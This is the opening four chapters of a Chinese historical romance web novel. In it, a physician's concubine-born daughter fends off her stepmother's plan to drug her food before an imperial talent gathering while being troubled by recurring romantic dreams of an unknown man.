《君欢烬》 1、第一章 《君欢烬》玥玥欲试/文(2025/9/29) 第一章 “三姑娘,三姑娘?” 空灵而遥远的呼唤自耳畔漾来,柔兮躺在床榻上,唇瓣紧咬,螓首轻转,脸面娇红发烫,浑身汗湿淋漓,鬓边青丝缠著香汗,黏在雪靥之上,整个人恍若在水中浸过一般。 “三姑娘,三姑娘?” 那声音越来越近,也越来越清晰,伴着房门轻启之声与步履轻移,柔兮知道,有人来了。 但她醒不过来,越着急,梦越沉,那股异样的感觉越分明。 直到阳光透过窗牖从慢慢被揭起的纱幔射入,耳边陡然传来一声惊呼! 随着那声惊呼,柔兮猛然苏醒,睁开双眸。 然,为时已晚。 “啊!” 她喘息急促,慌乱坐起,提着被衾紧紧遮住身子,缩在床榻之上,视线渐次清明,看清了来人。 是个女子——夫人身边的李嬷嬷。 可是女子也不成,是谁都不成!她怎能这幅样子见人! “谁让你进来的?你,出去!” 柔兮抄起手边的枕头便朝着李嬷嬷丢去。 婆子猝不及防,避之不及,当头被砸了一下,鬓边珠花被震得歪在耳后,几缕碎发散乱下来,“哎呦”一声。 恰在这时,屋外响起丫鬟兰儿归回的声音。 “姑娘!” 兰儿绕过屏风,瞧见眼前景象,立马挡在榻前,朝着李嬷嬷推搡着骂道: “你怎能随便进三姑娘的闺房?姑娘允你进来了么?你给我出去出去,出去出去!!” 婆子一连被她推搡了几下,倒退数步,反应过来,没好气地抬手用力挡开了兰儿的手,气急败坏,一脸嚣张,眼角的皱纹挤成一团: “我没叩门?没唤她?屋子里边没声我当她死了!好心进来看看,倒是我的不是了?!” “什么死不死的!姑娘好端端的!可有你这般编排主子的奴婢!说到底你也不过就是府里伺候的下人,有什么可狂妄?看姑娘不告到老爷那去,让你吃不了兜着走!” 兰儿将她推出,“砰”地一下关了门,耳边传来李嬷嬷“啊”地一声,接着动静更大,想来是她背身朝后,一不留神,踩空台阶,跌下去了。 兰儿没空理会,插了房门马上奔回姑娘床边,透过纱幔,隐隐约约看到姑娘纤弱的身影,紧张道:“姑娘可受惊了?” 里边没声。 她掀开轻纱,这才看清了人。 不出她所料,姑娘神情恍惚,眼神涣散,微颤的羽睫像沾了晨露的蝶翼,眼底蒙着一层薄薄的水雾,泪盈盈的,一看便是被吓得不轻。 为何会受了这般大的惊吓,旁人不知,兰儿日日在她身边伺候,又怎会不知? 尤其看到姑娘那张烧红的小脸,她也没什么不明白了。 “可是又做了那怪梦?” “我,我这就去给姑娘热药......” 说罢,立马匆匆离去。 她走后许久,床榻上依旧半丝反应都无。 纱幔轻动,柔兮一动未动,四下万籁俱寂,只有她擂动如鼓的心跳声。 好一会儿她才回神,缓了过来,小眼神儿慢慢流转,动了身子,足踝上银铃轻颤,素手紧攥被子,怯生生地朝外望去,见人确是都走了,方彻底松了口气,心中喊了老天爷! 这是要干什么? 她可真是,作孽了! 事情还要从头说起。 柔兮姓苏,是太医正苏仲平的女儿,今年刚满十六岁。父亲虽只是个八品小官,但家道殷厚,柔兮也算是个小家碧玉。只可惜,她是妾室所生,母亲早逝,家中祖母不亲,主母不爱。 非但不亲不爱,她们,还厌恶极了她。 究其原因,是因为她的母亲。 母亲唤名阮迎素,出身极不光彩,是个扬州瘦马。 柔兮对母亲的记忆不深,人在她六岁的时候就去世了。但她与父亲的那段风流韵事,柔兮倒是知道一些。 父亲年轻的时候与她相遇,而后便就爱上了她,不顾家中反对,毅然决然花了重金给她赎身,把她带了回来。再后来俩人就有了柔兮。 六岁以前,柔兮还没觉得自己与府上的其他姐妹有甚不同。母亲疼她、护她,父亲也很爱她,直到母亲香消玉殒。 没了娘的她,再没人为她遮风挡雨,一切都变了。 祖母、夫人厌她;姐姐、妹妹欺她;就连李嬷嬷那样有人撑腰的下人都能明着暗着地讥讽她两句,原本明明很疼爱她的父亲也对她日渐疏远。 小柔兮如履薄冰,可怜巴巴,每日都在心惊胆战中度过,如此一过就是十年。 她力求端庄,乖乖巧巧,勤奋刻苦,门门功课都比姐妹们做得好,琴棋书画可谓样样精通,生怕被人挑刺,瞧之不起,可不论如何小心翼翼,如何安分守己,还是惹人厌,动不动就要被人骂上一句“和她娘一个样,一股子狐媚劲儿!”。 久而久之,柔兮也麻木了。 那事的起因很复杂。 一个月前,她去父亲的书房找他,巧之不巧听到了一个下官与父亲的交谈。 俩人所谈论的人正是她! 柔兮听得真切,那下官不知因着什么,丧心病狂,给她父亲出主意,竟让她父亲把她抬去给康亲王做妾。 柔兮当时便被吓傻了。 纵使是深闺中的女子,她也知晓那康亲王是什么人。 其是个酒色之徒,妻妾成群不说,年岁比她爹还要大! 当夜,柔兮一夜未眠,缩在被窝里叨念了一晚上阿弥陀佛。 翌日恰是十五,夫人带她姐妹三人去寺庙烧香拜佛。 柔兮虔诚至极,一心求着佛祖显灵救她。他爹可千万别那般狠心! 且不知佛祖是不是真的听到了她的诉苦,可怜她,便是在那天,她遇上了平阳侯家世子顾时章。 顾时章家世显赫,德才兼备,温润如玉,生的俊朗,是京城中出了名的谦谦君子,城中人常说:“不知时章貌,枉作京城娇”。 柔兮自然也不例外,早知其美名。 往昔她只远远见过人,那日一见果然名不虚传!太俊了! 柔兮承认,自己是急病乱投医,灵机一动,生出它念,略施小计,勾了他。 原她也没报什么太大希望,不想那顾时章第二日真就登门提亲了! 接连几日喜事连连,全是“捷报”,自己时来运转,真就攀上了那高枝儿,就连她爹都肯主动来看她,对她笑脸相迎了! 十几日来家中鸡飞狗跳,翻了天! 除了她与她爹外,没人有好脸色。 主母江如眉关起门来一哭二闹三上吊,指责威胁苏仲平,这么好的一门婚事,于情于理都应给嫡出长女,她的女儿苏明霞,怎能给一个妓子所出的庶女! 柔兮不声不响,也不张扬,只悄悄地看着热闹。 亲事最终如她所愿彻底定下。 原她以为自己已高枕无忧,真要转运,离开这个家,高嫁入侯府,给那全天下最好、最俊的儿郎做妻啦! 怎料老天爷跟她开玩笑一般,九日前她欢欢喜喜,美滋滋地去寺庙还愿,三炷香刚刚上完,却万万没想到,脚一滑,竟是一头撞到了香案上,当场就昏了过去! 足足两天三夜柔兮方才苏醒。 原磕一下就磕一下吧,昏了两天三夜就昏了两天三夜吧,反正又没死,额上也没留疤,没毁容,为了顾时章,她认了便是。 谁能想到苏醒的当天夜晚,见见,见鬼了! 柔兮发誓,自己从未想过那种事,从未! 但却真真切切,清清楚楚地做了春-梦!梦中她与一身姿挺拔健硕、眸若寒潭的冷面男人燃烬红烛,荒唐了整整一夜。 要命的是,那梦中的男人面孔十分陌生,根本就不是顾时章,更要命的是,自己好像中邪了般,那梦没完没了,缠上她了,至今已足足七日! 柔兮方才十六,性子娴静温婉,知书达理,很乖顺。从小又是个没娘、没人撑腰的姑娘,她的胆子其实很小很小,人很安分。尚未成亲,对男女之间的床笫之事其实也还懵懵懂懂,那种事情,就算是与顾时章,她都接受不了,何况人根本就不是她的未婚夫君。 七日来,每每醒来她都要被吓哭。 本来已经够乱,乱上加乱,今日又正好被那李嬷嬷撞见。 从她口中又能说出什么好话? 正想着,房门再度被人推开,兰儿热药回来,到了床边。 柔兮赶紧挪过身子,纤柔的手抓住了兰儿的手臂,眼波盈盈,急着问道:“她来干什么?” 兰儿回道:“我看外边候着的小春手上端着碗莲子羹,想来是来送粥的,哼,她们能安什么好心?还能真盼着姑娘好?!那粥定是有问题,八成是不想姑娘去那百花宴,生怕姑娘再出风头!” 柔兮心头一惊,眼中微起涟漪,握着兰儿手臂的柔荑,指尖轻轻颤了下。 兰儿说的不错,和她一样早看透了主母江如眉。 丫鬟口中的“百花宴”亦名“品鉴会”,乃当今太皇太后亲力操持的盛会,意在弘扬京中闺秀雅韵,嘉勉闺阁技艺,彰显盛朝女子的才貌风华。 若幸得折桂芳首,荣宠风光几何可想而知。 懿旨一个月前便已颁降,柔兮早恳过爹爹,将名姓递呈了上去,起初欲往,是盼着于其中崭露锋芒,博些嘉誉,好讨父亲欢心。而今既与顾时章缔定婚约,此行便又多了一层不得不去的缘由。 她出身微末,往后嫁入那高门望族,深恐被人轻慢。若能拔得头筹,得太皇太后青眼,届时自能让旁人多几分敬重,少几分小觑。 前些日子那一摔耽搁了许久,眼下日子越来越近,细细数来,已只剩下三日,倒也对上了兰儿的猜测——那粥十有八九是有问题的。李嬷嬷来,绝没安什么好心。柔兮,也不会让她们得逞! “姑娘,待会儿凉了,快把药喝了吧。” 柔兮的神思再度被打断,眸子移向丫鬟手中的安神汤,思绪回转,自然又想起了适才那荒唐又可怕的梦,脸颊转瞬烧热起来,心口狂跳。 她轻声应下,赶紧接过药碗,一口喝了下去,想快点把那过于真实的记忆从脑中驱除,可事与愿违,梦中男人的样子更加清晰地浮现在眼前。 陌生,冷沉,疏离,生猛…… 柔兮喘息急促,心慌意乱,当即强行切断记忆…… 2、第二章 第二章 雨后清晨,阶前积翠,土沁清芬,檐角垂珠滴落,没入泥土,发出一声闷响。 李嬷嬷从柔兮的青芜院出来,脸色铁青,脚步颇快,鬓边散乱下来的头发掖在耳后,甚显狼狈。 就是因为如此,她方才愈发地气急败坏,一大早上受了这般大的气,被那个小贱蹄子弄得如此狼狈。 她是这苏府当家主母的贴身嬷嬷,府上除了老爷与老夫人外谁不敬她三分,给她些面子,哪有人敢打她? 再不济若是被旁的小姐、公子给了一下子也便罢了,竟是那个小贱人!她跟她娘一样下贱,就该被扔到腌臜地去,还能有那好命,与平阳侯家定了亲!这才刚刚攀上高枝儿,没嫁过去呢就猖狂起来了,竟敢打她! 李嬷嬷咽不下这口气! 小春手捧食盒,亦步亦趋地跟在她身后。 “嬷嬷,就这么端回去了么?” 李嬷嬷眉头拧得更紧,不耐烦道:“你说呢!人家现在飞上枝头,要做世子夫人了,脾气大着呢,还想再被轰出来一次!” 小春低眉顺眼,马上闭了嘴,讨好道:“她也忒嚣张了,以前唯唯诺诺,这就变了嘴脸,定亲了又如何,有命嫁进去才是本事,前几日不是差点死了,老天都不想便宜了她,可见她就是命贱!要我看呐,她与顾世子的婚事肯定成不了!” 李嬷嬷轻哼一声,眼中满是嫌恶,没再接话,但心中自是没什么都未想,这会儿子略微静下心来,也便想起了适才看到的画面。 也不知是梦着了什么浪荡勾当,衣服都湿透了,双颊泛着潮-红,活脱脱地一副……不知道的还以为屋子里面藏了个野男人!她可有半点正经姑娘的样子?素日里装得倒好,轻声细语的,对谁都温温顺顺,好不娴雅,骨子里跟她那个早逝的娘一个德性,就是个狐媚胚子! 转眼到了夫人江如眉的房中,李嬷嬷特意未整发髻。 江如眉正在菱花镜前簪戴耳珰,听到她的唤声,侧过头,一眼就瞧见了李嬷嬷那缕散落下来的头发,脸色当时就变了,停下手上动作,眸子飘向她身后小春手中的食盒,秀眉一挑:“没要?” 李嬷嬷委屈道:“何止?大清早的,老奴去给她送东西,在门外叩了许久,里头竟毫无声响。夫人您也知晓,前几日她不是昏迷了两日,老奴心下犯疑,寻思是不是又怎么着了,就推门进去了,到了床边,哎呦喂!也不知是梦着了什么腌臜浪事,那身上湿的,都浸透了!脸红的跟刚从哪个男人怀里缠磨出来一般,老奴一时惊得失了声,许是这动静将她扰醒,人醒来后抄起身边的东西,劈头盖脸地就朝老奴砸了来!还好是些轻省物件,这若换成了什么重家伙,老奴怕是都会被她砸死!夫人说说,给她嚣张成什么样了?老奴再怎么也是夫人身边的人,都多大岁数了!这若放到往昔,那小贱人她敢么?现在就猖狂至此,以后可还能把夫人放在眼里?” 江如眉越听心头火气越盛,脸色由白转青,一巴掌拍在妆台上。 “攀上一门好亲事,无法无天,觉得自己翅膀硬了,当真以为我会让她嫁给那平阳侯世子?” 李嬷嬷上前两步,赶紧接口:“就是说呀夫人,她凭什么嫁到那种人家去,大小姐怎么办?要嫁也得紧着咱们大小姐不是,她嫁到哪去又能怎样?随便找个小门小户也便是了,哪用得着那般显贵的婆家。可怜了大小姐,这些日子都没笑过,瞧着就让人心疼。” 江如眉也悔呢! 去年她的侄子因经商之事在京城苏家住过阵子,曾看上了那苏柔兮,央求过她好几次,想她把苏柔兮许给他,江如眉彼时没看上那个狐媚子。 她娘家虽出身商户,但家底丰厚。 给她的侄儿做妻她苏柔兮不配,做妾还勉强凑合,现在想来还不如当时把她给了她侄儿,平阳侯府的这门婚事不就落到她的女儿霞儿身上了! 想起这事江如眉心中就恼,好在还有半年。 “笑话,我若能让她嫁进侯府便不姓江!” 说罢,没好气地将那枚耳珰戴了上。 李嬷嬷附和:“决不能便宜了她!” 俩人话说完,江如眉这才看向那被原封不动拿回来的食盒,给李嬷嬷使了眼色:“去料理了。” 李嬷嬷会意,低声应下,赶紧去了。 那碗粥是被她江如眉下了药。 她江如眉也是不想让那个小贱人去赴百花宴。 论及琴艺与丹青二事,苏柔兮的功底素来扎实,造诣卓然,从前教席先生常常叹赏夸赞她。江如眉虽从不觉得她有什么才情,但也颇为忌惮忌讳。 那可是天家!太皇太后面前!万一真叫她在那宴上出了什么风头,可不恶心死人了。 反正她前几日刚生了意外,差点撞死,本就昏了两天三夜,就继续病着吧!怎料这碗粥竟是根本就没送出去。 不过那又如何?躲得了初一,还躲得过十五,除非她不吃不喝,江如眉不信她还拿捏不了她了! ****** “阿嚏!” 柔兮刚刚沐浴出来,发间犹带湿雾,青丝垂落肩头,裹着素巾,坐在床榻上,眼睛水灵灵的,只露出个小脑袋。 兰儿听见,赶紧扯来被子给她披上。 “姑娘冷了?” 柔兮摇头,睫羽轻颤,眸底悄悄流转一圈,并未言语。 她不冷,只是心跳的很快,因为知晓,那边定然是在骂她。 虽早无所谓了,但眼下她因此另有愁事。 李嬷嬷回去不会说她什么好话,江如眉没如愿也不会放过她。 这三日,她们必然会故技重施,阻她去那百花宴。柔兮料想,江如眉大概会给她下些引她头痛,叫她整日昏沉倦怠、精神不济的东西。 她该怎么办? 不吃? 总不能饿上三天吧。 别说她刚大难不死,初愈不久,身子骨本就不好,就算壮如牛,三天不吃也不会有甚精神,去那百花宴,不当众出丑已算万幸,还能有甚机会好好表现?没准离死都不远了。 偏生不巧,他爹从昨晚开始便不在府上。 闻言康亲王近来身体违和,今上遣派太医院众医前往诊治,她爹便是其中一员。 论及那位王爷,其荒淫无度,素来耽于声色,已年过半百还常常夜御数女,沉溺床笫,不加节制,身子早亏空虚耗,废掉了。 这般大病也不是第一次了,以前就有过一次,那次他爹便在王府待了五六日方才回来。 如若这次也要五六日之久呢? 何况,江如眉发现她不吃,再用别的法子对付她,她又当如何? 这可怎么办? 要死人了,要死人了! 柔兮越想越愁,秀眉缓缓蹙起,小眼神儿中满是焦急。 眼下她就一颗心,做梦都想嫁给顾时章,离开这个家。 那百花宴,她是非去不可的。 且不知是不是被逼得急了,下一瞬,她突然灵光一闪,有了主意。 柔兮立时唤来兰儿,附在她耳边细声细语地交待了番。 兰儿听罢睁圆眼睛:“姑娘?” 柔兮将手指竖立唇边:“量力而行。” 兰儿咬上了唇,重重地点了点头,应声,而后出了去。 丫鬟走后,柔兮穿了衣裳,心中怕怕的,但这仿若又是唯一的办法了。 到了正午,她等来了她的膳食。 柔兮让人放下,待得人走,马上细细地检查了番,果然不出所料,食物之中掺了川乌! 江如眉小瞧她了。 苏家世代为御医。 家中医术虽素有“传男不传女”的祖训,但柔兮自小便在药香与医论中长大。兄长们背书时,她常伴侧细听;药房里分拣药材,她亦时常观摩。偏生她记性超群,久而久之,倒也窥得些医术的皮毛。 她辨得出“川乌”特有的辛烈之气,更明白江如眉若对她用此药,定能瞒过她父亲苏仲平的眼目。 九日前,她撞了头后,她爹苏仲平亲为她诊过,诊后言她元气受损,短时日里恐会神思倦怠、头目昏沉。 初醒那几日,柔兮确是如父亲所言,精神不济、头脑昏蒙;可自前日起,她已全然好转,病弱之态已再无半分。 江如眉就是因为瞧见她好了,方特意来害她。 给她下药,严重了,她定是撑不住的,也便难赴那百花宴;便是药效轻些,不甚严重,也足以扰她心神、损她状态,让她在宴上难有出彩之处。 江如眉的如意算盘打的真好。 她当真是坏透了! 柔兮心肝乱颤,识破了一切,一切也与她所想对上之后,只能将计就计。 思及此,她转身入卧房取来所需之物,随后将盘中餐食盛出大半,佯作已用过的模样,待得兰儿回来,吩咐她将那东西处置了去。 整整一日,她皆是如此,自然,也是一日都未曾进食。 夜晚,柔兮躺在床榻上,美目盯着床顶繁复的花纹,可怜巴巴,唇瓣微起,耳边传来肚子发出的“咕咕”声响,甚是难熬。 作孽了,作孽了! 她当真是,想死的心思都有了。 3、第三章 第三章 从小到大,柔兮第一怕死;第二怕疼;第三怕饿。 前几日刚撞了头,差点死了;也挨了疼;如今竟是又挨上饿了。 她躺在床榻上翻来覆去睡不着。 人言“宁苟活于世,不妄赴黄泉”,可她这,这也太“苟”了。 小时被人打骂欺负,长大了还不如小时呢,现在,现在连饭都吃不上了。 柔兮辗转反侧,想东想西,不知过了多久,深夜之中,终于听到外头传来了声响。 她当即坐起,心口“咚咚”乱跳,美目紧紧盯着屏风,没一会儿,听到了兰儿急匆匆的脚步与呼唤。 “姑娘!姑娘!” 柔兮抬起柔荑用软乎乎的帕子擦了下小脸上的汗,马上穿上绣鞋,下了床榻,朝着丫鬟迎去。 刚刚绕过屏风,便见兰儿手中捧着个用帕子包着的什么,柔兮瞧见,一颗悬着的心彻底落地,笑了出来。 那是一个白面馒头。 长顺成功了! 她欣喜道:“可顺利?有无被人察觉?” 兰儿凑近了些,声音压得极低,带着几分雀跃的轻快:“顺利顺利,姑娘只管宽心,半个人影也没撞见!长顺那小子手脚极快,方才还在跟我念叨,让姑娘放心呢!” 柔兮应了声,伸手接过,心满意足,当真是饿惨了,眼睛盯着那食物,但觉从来没见过这么好看的馒头,赶紧小口小口地吃了起来。 半夜去厨房偷食物一事是上午柔兮交待兰儿的。 好在这个家中除了兰儿外,她还有着一个可信任的小厮。 自那“撞头”意外之后,一直至今,一日三餐柔兮并非与大家一起,都是在自己的房中用的,江如眉想害她,简直易如反掌。 但也好在她能在自己房中独自用饭,如此才好顺水推舟,将计就计,借着这由头掩人耳目,假装将饭吃了,叫江如眉误以为计谋得逞,就此放下戒心。 原她一担忧长顺败露,二担忧长顺偷不到食物,眼下这第一关也算是过了,自己,至少不用当饿死鬼啦! ******** 第二日黄昏,江如眉房中。 江如眉从外头回来,那负责给柔兮送膳食的丫鬟小春已在房中等候多时。 江如眉抬眼扫了她一下,压低声音问道:“怎样?” 小春堆着笑回话:“夫人放心,三姑娘都吃了。午时那回,奴婢特意晚走了会儿,亲眼看到她吃了。每次的饭菜剩得都不多。刚刚去时,奴婢还亲眼看到她起来时身子晃了一下,扶住额头,险些跌倒……” 李嬷嬷听罢撇了撇嘴,接口:“想不到她那娇滴滴的身子,还怪能撑的,没下不来床啊!” 江如眉也不甚满意,但她不知苏仲平哪日回来,没敢下药太狠,万一她真昏了,又恰好苏仲平回来了,苏仲平是太医,还怕被他看不出来么! “罢了。” 江如眉轻哼一声:“如此刚刚好,也不必对老爷解释什么,叫她去便是,去了又如何?她怕是连那阅选都过不了,正好挫挫她的锐气,她不是想出风头,给那顾家人看,那便看看她到底是出了风头,还是落成了笑话,保不齐,平阳侯府就悔了呢!” 李嬷嬷笑道:“夫人说的极是!可不么,指不定平阳侯府见她这般不济,真就悔了呢!” ******* 第三日,青芜院。 柔兮手中攥着串佛珠,在房内往复踱着,指腹不停捻转珠粒,樱唇微起,声音又轻又柔,一口一个阿弥陀佛。 眼下明日便是阅选之日,没时间了。 她饭“吃”了,戏做了,唯一不知,江如眉到底会不会放她前去。 柔兮猜想江如眉大抵应该是会让她去的。她应该巴不得看她的笑话才对,但事情一刻没定下,柔兮便一刻不心安,越是临近,越是忐忑。 正这间,窗边的兰儿突然转过头来,张口唤她。 “姑娘,姑娘!” “李嬷嬷来了!” 柔兮脚步顿停,心口“扑通,扑通”地狂跳,眸子定在丫鬟的脸上,但仅有一瞬,马上快步到了桌前,故作安稳,寻了个地方坐了下去,偷偷藏了手上的佛珠。 没一会儿,李嬷嬷冷着面色掀帘而入。 柔兮压下悸动,眸光轻转,慢慢抬起,落到了她的身上,并未先开口,但瞧见了她身后的丫鬟手中托了个衣盘。 李嬷嬷进门便就看见了她,不觉间怔了一下,但只有瞬息。 那小蹄子当真是吸人眼睛,一双眸子生生能勾去人的三魂六魄,生得玉骨纤柔,一身粉绫罗裙,脸蛋莹白剔透,娇嫩的像是能掐出水儿来一般,端的是乖觉温婉,楚楚可怜,娴静温柔的好似什么名门闺秀,尤其是那双能勾人魂儿似得眸子,眼波稍一流转,便似要垂泪似的,瞧上去怯懦软柔又好欺,可不天生就是勾男人的货色! 听说那平阳侯世子只见了她一面,也不知她是用了什么下三滥的手段,就把人引得来提亲了。再一想自己前几日在她房中看到的画面,李嬷嬷更是满心鄙夷,轻视。 合着她是用了什么见不得人的肮脏手段,跟他滚到一起了? 李嬷嬷但觉自己猜的十有八九,否则,人家那样的家世怎么就看上了她! 她越瞧她越厌恶,何况还有上次的旧账,当下哪来的好脸色,开口便带着三分倨傲,一副盛气凌人之态,阴阳怪气道:“哟,三姑娘能起身了,明日还不一路顺畅,拔得头筹?名满天下,成我大雍第一才女啊!” 柔兮知她在挖苦她,自是没回她的话,缓缓转了视线,没再看她。 李嬷嬷满眼鄙夷地瞄着她,越看越妒忌,也越看越生厌。她就连头发丝都充满着一股子妖冶狐媚的气息,但却偏偏装得跟个楚楚可怜的小白花似的。 当真是白瞎了那平阳侯世子。 接着,李嬷嬷也不装了,恶狠起来:“有的人别以为自己有几分微末伎俩,便自视甚高、争强好胜,到时候丢人现眼,拖累苏家,拖累我们大小姐也受旁人指指点点,如若真那般,看夫人不扒了你的皮!婆子劝你一句,有点自知之明,识趣些,认清自己的身份,这龙生龙,凤生凤,轮到你,便不用婆子多说了吧!莫要不知死活,与人家高门贵女争辉,徒惹笑话,你可不配!” 话说完又狠狠剜了她一眼,转头给小春递了个眼色,挺着腰杆、大摇大摆地走了。 小春将手中捧着的新衣放在案上,跟着一同离开了去。 俩人走后许久,屋中都没声响,兰儿朝外张望着,待得看不到人了,方才回眸出声。 “姑娘,走了。” 柔兮眼波流转,这时战战兢兢地也回了眸。 不幸之万幸,她能如愿去那百花宴了。 柔兮自然是欢喜的,立马站了起来,脸上露出笑意,显然,半分都没把那婆子的话放在心上。 兰儿颇为心酸,但瞧着姑娘不在意,倒也放松了不少,暗道:这心大也有心大的好处。 柔兮确是连心都没过。 眼下她就一个心思:离开苏家,嫁给顾时章。其余的事对她来说皆轻于鸿毛! 当天夜里她吃了最后的半个馒头,难得地放松下来,临近睡时还哼了会小曲儿,好不欢喜,迷迷糊糊,早早地便进入了梦乡…… 梦中,一片朦胧。 烛火将熄未熄,视线忽明忽暗,帐内融融绰绰,轻纱摇晃不止。 男人赤着上身,臂膀精健,肌理如铸,血脉喷张,大手紧掐玉腰,灼热的气息似密网般裹住她,一寸寸浸透她的肌肤,连呼吸都染着烫意。 交叠的气息在帐内流转,混着熏香,愈发燥烫。锦褥被她攥出几道深深浅浅的痕,露出的肌肤红痕宛然,汗珠细密,顺着肩胛滑落,一滴叠着一滴,坠入被衾,晕开一片片浅淡的潮渍。 她带着哭腔:“不,不要……” 男人低沉的嗓音里浸透玩味:“不要?” “不要!” 柔兮猛然睁开眼睛,浑身汗湿淋漓,一声惊呼,陡然坐起! 耳边的热浪慢慢褪去,梦中空灵的声音也渐渐遥远,取而代之的是别的。外边暴雨淅沥如注,夹着阵阵风声,四下嘲哳。视线昏暗,纱幔外烛火摇摇欲灭,只剩半丝光亮,柔兮心口起伏,呆愣了许久恍惚还魂,回到现实,意识到自己竟是又做了那春/梦! 脸颊转瞬红到了耳根,她顿时慌张不已,拨开纱幔朝外不断张望,因着她清清楚楚地记得自己适才大喊了出来。 慌乱地瞧了半晌,屋里屋外皆无半分反应,安静如初,柔兮终于镇静下来,想来是外边的风雨太大,压下了她的喊声,丫鬟未曾听到。 谢天谢地,谢天谢地! 已连续两日未曾梦到,柔兮本以为那怪事已经过去,自己病好了,不曾想好端端的今夜突然又…… 梦中男人的模样愈发清晰,她到现在还能记起他手掌上的温度,今夜甚至还听到了他的声音…… 这到底是什么鬼东西,为什么阴魂不散! 柔兮抓起被衾,玉足连连后退,缩到了床头,进了被子之中,怀抱双膝,浑身颤抖。 那张冷沉的脸在她的脑海之中挥之不去,直到柔兮想起了顾时章! 忆起顾时章,她更加心慌意乱,不住地摇晃着小脑袋,想把梦中那个阴魂不散的男人从自己的记忆中驱除。 这到底是怎么回事? 她为什么总是梦到他? 他又到底是谁? 她不喜欢旁人了,绝对不喜欢。 眼下她只喜欢顾时章,只想快点和他成亲。 老天爷能不能不要让她再做这样的梦了! 柔兮“疯”了很久,再度渐渐镇静,也渐渐说服自己。 好在她从未见过那个男人。 人是虚幻的,理应是不存在的。 谁还不做几个荒诞的梦? 对,对!是以,这事只要天知地知,她自己直到就成了,绝对,绝对不能让顾时章知道,不能让任何人知道! 又是许久许久,柔兮方才彻底平静下来,慢慢躺下,双手紧攥被衾,听着风声雨声,迷迷糊糊,再一次进入了梦乡…… 4、第四章 第四章 翌日拂晓,天犹含墨。 雨下了整整一夜,直到此时也未停歇,银线疏疏落落,自空中飘洒而下,天地间濛濛一片。 苏府门外早停了一大一小两辆马车。风拂车帷,时而露着内里素色衬布,两名小厮荷伞提灯,正在雨下细细查检。 府内,大半房中皆已亮了烛火。 但论及热闹,当属大小姐苏明霞的院中。 寅时一刻至此已小半个时辰,其间里里外外,丫鬟进进出出,穿梭往来,步履不绝。人声、水声,脚步声,混着风声雨响,一派忙碌。江如眉与李嬷嬷更是早早地便到了。 与其对比鲜明,一墙之隔的青芜院仿若另一个世界,除雨滴作响外静谧无声,更无人问津。 屋内只点着一盏烛灯。 柔兮坐在这唯一的亮处,镜中映着她白皙粉嫩的小脸。 兰儿立在一边,为她梳着头发,见她神情恍惚,眼神略呆,不禁笑着问道:“姑娘怎么好像没睡醒?” 柔兮被她唤回了神儿,眼波流动,暗道:她不是“好像”没睡醒,她,就是没睡醒,还不是被昨晚的梦折腾的! 心中有鬼一般,生怕别人知道,柔兮自然没说,赶紧搪塞。 “要阅选了,有些紧张。” 兰儿浅笑:“姑娘有什么可紧张,姑娘必定是能通过的。” 说罢话锋一转,脸上的笑意又消失了去,哼了一声,小声骂道:“江如眉也太阴损了,就给姑娘备了一件新衣,还这般素,这是生怕让姑娘出了风头,恨不得把姑娘的脸都遮上了吧,只可惜,姑娘就算是只披块布,也比大姑娘好看一万倍!” 柔兮将食指竖立唇边,四处瞧了瞧,不让她说了。 隔墙有耳,已经到了这个时候,她当然不想生是非,万一给人听见了落不到什么好。兰儿倒是听话,立马闭了嘴,也随着她小心翼翼地瞧了瞧,反正口舌之快是逞过了! 柔兮望向铜镜,瞅了眼自己的这身衣服,青白色,料子很寻常,衣面上未绣半朵花、未缀一丝银线,连领口袖口也只是简单滚了道同色边,款式倒是新的,可整件衣服瞧下来,确是极素,清清淡淡,无半分亮眼之处。 罢了罢了! 又不是去比看谁穿的好看,她是个穷鬼,也没银子给自己做新衣裳,要是真能侥幸得个次第,太皇太后必然会赏,她也能自己有些钱财。 眼下便就这样吧,早一天离开这个家,她便能早一天舒服! 如若真能有了钱财,柔兮都想,都想现在就搬出去! 这边想完,兰儿也为她梳好了头发。 主仆俩人整理好衣物行囊,穿戴整齐,没一会儿兰儿便撑着伞,护着柔兮出了门去。 本是八月天,天气尚热,但近来连着下雨,倒是有些凉了起来。 柔兮上了前车,长顺与两名小厮将她的行囊搬到了后边的小车上。 这前车之中只容得下四人。 苏明霞、苏晚棠与她,剩下的一人必然是那苏明霞的丫鬟了。兰儿只能挤在后边装行囊与衣物的小车中,这会子陪着柔兮先在车中坐会儿。 小丫鬟道:“这雨怎么没完没了的,如此下去,一路怕是不好走啊!” 柔兮抬起手,掀开车帘一角,朝外望去。 这么一会儿功夫,雨脚已密得织成了帘,落在地上激起层层水雾,明显又大了几分。 “是啊。” 柔兮蹙起小眉头,也有些忧心。好在阅选并非一日,而是足足三日,再怎么也不至于误事,但这一路必然难行。这边正想着,外边传来了嘈杂,不用往外瞧,柔兮也知是那苏明霞被江如眉等人众星捧月地送出来了。 兰儿攥了攥柔兮的手:“姑娘小心着些。” 柔兮点头,让她下去了。 车门被打开,苏明霞、江如眉等人的声音更近,柔兮只瞧了一眼就转回了头,毕竟心中知晓,对上江如眉和李嬷嬷的视线也看不到什么好脸色,不看最好,眼不见心不烦,也看不见她们剜她。 所幸,柔兮直接将眼睛闭了。 苏明霞上了车后,那边又是叮嘱又是不舍,许久方才关了车门,柔兮耳边终于恢复了些许清净,但车厢之中转瞬便充斥起了一股子诡异、尴尬又满是火药味的静。 柔兮闭着眼睛,倚靠在窗边不知三人是什么模样,甚至不知坐在自己旁边的是谁?想来应该是二姐苏晚棠。 苏晚棠是二姨娘所生。二姨娘廖氏捧着、顺着江如眉,俩人旧时又有着柔兮的娘这个共同的“敌人”,是以关系不差。 柔兮也不清楚当年是怎么回事。 只听府上的人常常诟病她娘,说她娘把她爹迷的五迷三道的。 那坐在她对面的就应该是苏明霞与她的贴身丫鬟翠娥了。 自从柔兮与顾时章定亲之后,苏明霞便没与柔兮说过话,她心中想着什么,柔兮又不是小傻子,当然是知晓的。 总归和旁人一样,觉得她配不上顾时章;觉得苏家有什么好东西,好事情,都应该紧着她苏明霞;觉得她嫁到那般显贵的人家去,把她苏明霞比下去了;总归就是见不得她好,就是要把她踩在脚下,就是厌她。 柔兮不自讨没趣,厌就厌吧,反正她就快离开这个家了。 马车不知何时跑了起来,那股子静也很快便被打破。 苏明霞先开了口,声音很大,与苏晚棠有说有笑,便好似这车上根本就没柔兮这个人一样。 柔兮倚在窗边,起先只是装睡,可没得一会儿也不知自己是太困了还是真的没心肺,竟然就在俩人那笑笑嚷嚷之下,真,真睡着了。 再醒来的时候已不知过了多久,唯知是那苏明霞特意将她踢醒的。 